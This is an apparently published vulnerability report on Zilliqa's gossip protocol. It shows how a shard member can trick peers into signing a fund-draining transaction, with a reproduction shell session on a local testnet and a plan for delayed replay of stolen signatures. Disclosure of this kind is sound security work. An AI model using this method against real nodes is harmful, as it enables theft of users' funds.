## Summary:
Using a flaw in the gossip protocol, a malicious shard member can trick any other fellow shard member into signing an arbitrary message. One way this can be exploited is by creating a transaction transferring funds from the account corresponding to a target node’s public key; having the target node sign the transaction data; and then submitting the valid signed transaction to the network, resulting in a loss of funds.
## Details
Members of a shard use the gossip protocol to exchange messages. The gossip protocol is a layer that deals only with data messages, leaving any processing to higher protocol layers. Aside from basic size checks, there is no validation on the content of messages that enter the gossip system. Messages are stored in a node and relayed on to others via push/pull requests.
In order to ensure that gossip messages are coming from an ephemerally trusted source, each message is signed with the sending node’s keypair.
Given these behaviors, an attacker can send any arbitrary message into the system and have it sent back to them signed by the target node. For example, they can send a transaction which drains the funds of the target node’s wallet. The target will blindly sign and return the transaction. This signed transaction is then considered valid by the network.
All the pertinent code lives in the RumorManager, with RumorReceived being the entry point for a gossip message:
https://github.com/Zilliqa/Zilliqa/blob/master/src/libNetwork/RumorManager.cpp
## Steps To Reproduce:
The proof of concept consists of three pieces: 1) a patch that should be applied to the v7.0.0 tag in the Zilliqa codebase; 2) a python script to trigger the attack; 3) a sequence of shell commands to setup and run the attack. The attack will be demonstrated on a local testnet.
### attack.patch
First there is a config change in the local testnet constants xml to enable gossip. The rest of the changes are found in the RumorManager.
I’ve added a new gossip message type ATTACK which the attacker will use to remotely tell their node to run an attack. When the attacker node receives an ATTACK request, it skips the shard-membership checks (the caller will not be a sharded peer). The attack message contains the public key of the target and the public key for the address to transfer the target’s funds to. If the target is indeed a fellow shard-member, the attacker node looks up the balance on the account, constructs a transaction to transfer funds to the attacker’s address, and sends the transaction data to the target as the payload of a LAZY_PUSH.
LAZY_PUSH expects a mesage hash, but it doesn’t verify size, so the transaction itself can be sent (this is a minor side-bug, there should probably be at least a size check on hashes). When sending the malicious LAZY_PUSH, I add the message to the rumor trackers as usual, but with two differences: 1) I use a negative rumor id so that when I receive a response, I can remember it was an attack; 2) I store the message as a hash of itself. This is a kludge: when a PULL comes in we expect a hash of the message, but in our attack the actual data is coming back.
When the target receives the LAZY_PUSH, it thinks our transaction data is a hash we’re announcing. Since it won’t have the message corresponding to such a hash, it will immediately send a PULL back to the attacker to retrieve the unknown message. This PULL message contains the signed transaction.
When a PULL is received by the attacker node, I check if the rumor is negative. If so, I extract the signed transaction and log a json formatted version that can be used in a CreateTransaction api call.
### attack.py (contained in attack.patch)
This takes two node ids as parameters: the attacker and target. It uses the local testnet directory structure and the getaddr utility to find the public key/address for the attacker and target. it then loops until a balance appears on the target’s account. This will take a little time after starting up the network, since a mining epoch must complete and have funds distributed.
Once a balance is available, it constructs an ATTACK gossip message and sends it to the attacker node (using 127.0.0.1 and the port that the local testnet assigns to the particular node). It then sleeps for a few seconds to let the attack finish.
Finally it opens the logs for the attacker node and pulls out the transaction json the attacker node received from the target. This json can then be used in a CreateTransaction rpc, as seen in the shell session below.
### shell session
This is the complete session I used on a fresh Ubuntu 20.04 instance on ec2:
“`
$ # install dependencies and setup the codebase
$ sudo apt-get update
$ sudo apt-get install -y git libboost-system-dev libboost-filesystem-dev libboost-test-dev libssl-dev libleveldb-dev libjsoncpp-dev libsnappy-dev cmake libmicrohttpd-dev libjsonrpccpp-dev build-essential pkg-config libevent-dev libminiupnpc-dev libcurl4-openssl-dev libboost-program-options-dev libboost-python-dev python3-dev python3-setuptools python3-pip gawk python
$ git clone https://github.com/Zilliqa/Zilliqa.git
$ cd Zilliqa
$ git checkout v7.0.0
$
$ # copy attack.patch to the base directory in Zilliqa, apply the patch, and build
$ git apply attack.patch
$ ./build.sh
$
$ # launch the local testnet
$ cd build
$ ./tests/Node/pre_run.sh && ./tests/Node/test_node_lookup.sh && ./tests/Node/test_node_simple.sh
$ cd ../
$
$ # launch the attack, node 1 will attack node 2 (output included)
$ python3 ./attack.py 1 2
Attacker:
PubKey: 023649F0534998ED3783BD0C423D82CEA86818198884A4961F697B055DBDF27339
Addr : 8f5978067d4f6489a7068b0f0528e504fe848474
Target:
PubKey: 025EFE9A8FF149CEF1EB7A86439A1972FDB52E9C078BA919E87FE3F42BC8A06F87
Addr : dd7a7bd4636e38d339f90338b38d862c4a476a25
Checking for balance on target address…
Target balance: 13357142857142856
Attack balance: 15321428571428586
Connecting to attacker…
Creating ATTACK message…
Sending ATTACK message…
Sleeping for a few seconds to let the attack run
Looking for transaction in the attacker node logs…
[WARN][120467][20-12-14T22:12:48.040][RumorManager.cpp:530][RumorReceived ] Received signed txn from ATTACK: {“version”: 65537,”nonce”: 1,”toAddr”: “8F5978067D4F6489A7068b0F0528e504fe848474″,”amount”: “13357140857142856”,”pubKey”: “025EFE9A8FF149CEF1EB7A86439A1972FDB52E9C078BA919E87FE3F42BC8A06F87″,”gasPrice”: “2000000000”,”gasLimit”: “1”,”code”: “”,”data”: “”,”signature”: “0CF96985752F0507343E8E99D65F2D6F1D14749211495D488FF0B51AC80E0C40AA2F92FA657D9304B385E1F89ACC00626B27719C5A1EED17E80B6123A4C81CB5″,”priority”: false}
$
$ # now submit this transaction to the network
$ curl -s -d ‘{“id”: “1”, “jsonrpc”: “2.0”, “method”: “CreateTransaction”, “params”: [{“version”: 65537,”nonce”: 1,”toAddr”: “8F5978067D4F6489A7068b0F0528e504fe848474″,”amount”: “13357140857142856”,”pubKey”: “025EFE9A8FF149CEF1EB7A86439A1972FDB52E9C078BA919E87FE3F42BC8A06F87″,”gasPrice”: “2000000000”,”gasLimit”: “1”,”code”: “”,”data”: “”,”signature”: “0CF96985752F0507343E8E99D65F2D6F1D14749211495D488FF0B51AC80E0C40AA2F92FA657D9304B385E1F89ACC00626B27719C5A1EED17E80B6123A4C81CB5″,”priority”: false}] }’ -X POST https://127.0.0.1:4201/
{“id”:”1″,”jsonrpc”:”2.0″,”result”:{“Info”:”Non-contract txn, sent to shard”,”TranID”:”c54bf9201065a981310b5d176c4e88c81c7298da72c98b6616efc54a08dac21a”}}
$
$ # wait a little bit and check on the transaction
$ curl -s -d ‘{“id”: “1”,”jsonrpc”: “2.0”,”method”: “GetTransaction”,”params”: [“c54bf9201065a981310b5d176c4e88c81c7298da72c98b6616efc54a08dac21a”]}’ -H “Content-Type: application/json” -X POST https://127.0.0.1:4201/ | python -m json.tool
{
“id”: “1”,
“jsonrpc”: “2.0”,
“result”: {
“ID”: “c54bf9201065a981310b5d176c4e88c81c7298da72c98b6616efc54a08dac21a”,
“amount”: “13357140857142856”,
“gasLimit”: “1”,
“gasPrice”: “2000000000”,
“nonce”: “1”,
“receipt”: {
“cumulative_gas”: “1”,
“epoch_num”: “35”,
“success”: true
},
“senderPubKey”: “0x025EFE9A8FF149CEF1EB7A86439A1972FDB52E9C078BA919E87FE3F42BC8A06F87”,
“signature”: “0x0CF96985752F0507343E8E99D65F2D6F1D14749211495D488FF0B51AC80E0C40AA2F92FA657D9304B385E1F89ACC00626B27719C5A1EED17E80B6123A4C81CB5”,
“toAddr”: “8f5978067d4f6489a7068b0f0528e504fe848474”,
“version”: “65537”
}
}
“`
## Impact
I’d consider the impact on this to be a step above a standard critical. An attacker, once PoW’d into a shard, can drain all wallets associated with that shard. Further, since transactions contain no record of time/history beyond a sequential nonce, the attacker could run this in multiple phases: 1) collect signed transactions from miners over a period of time, having them sign for multiple future nonces; 2) wait a little bit until any evidence of invalid messages in the logs, etc have rolled into oblivion; 3) start submitting the saved transactions to the network.
I believe this would be extremely hard to debug, as there wold be no new evidence of the attack method once the transactions are played.Read More
References
Back to Main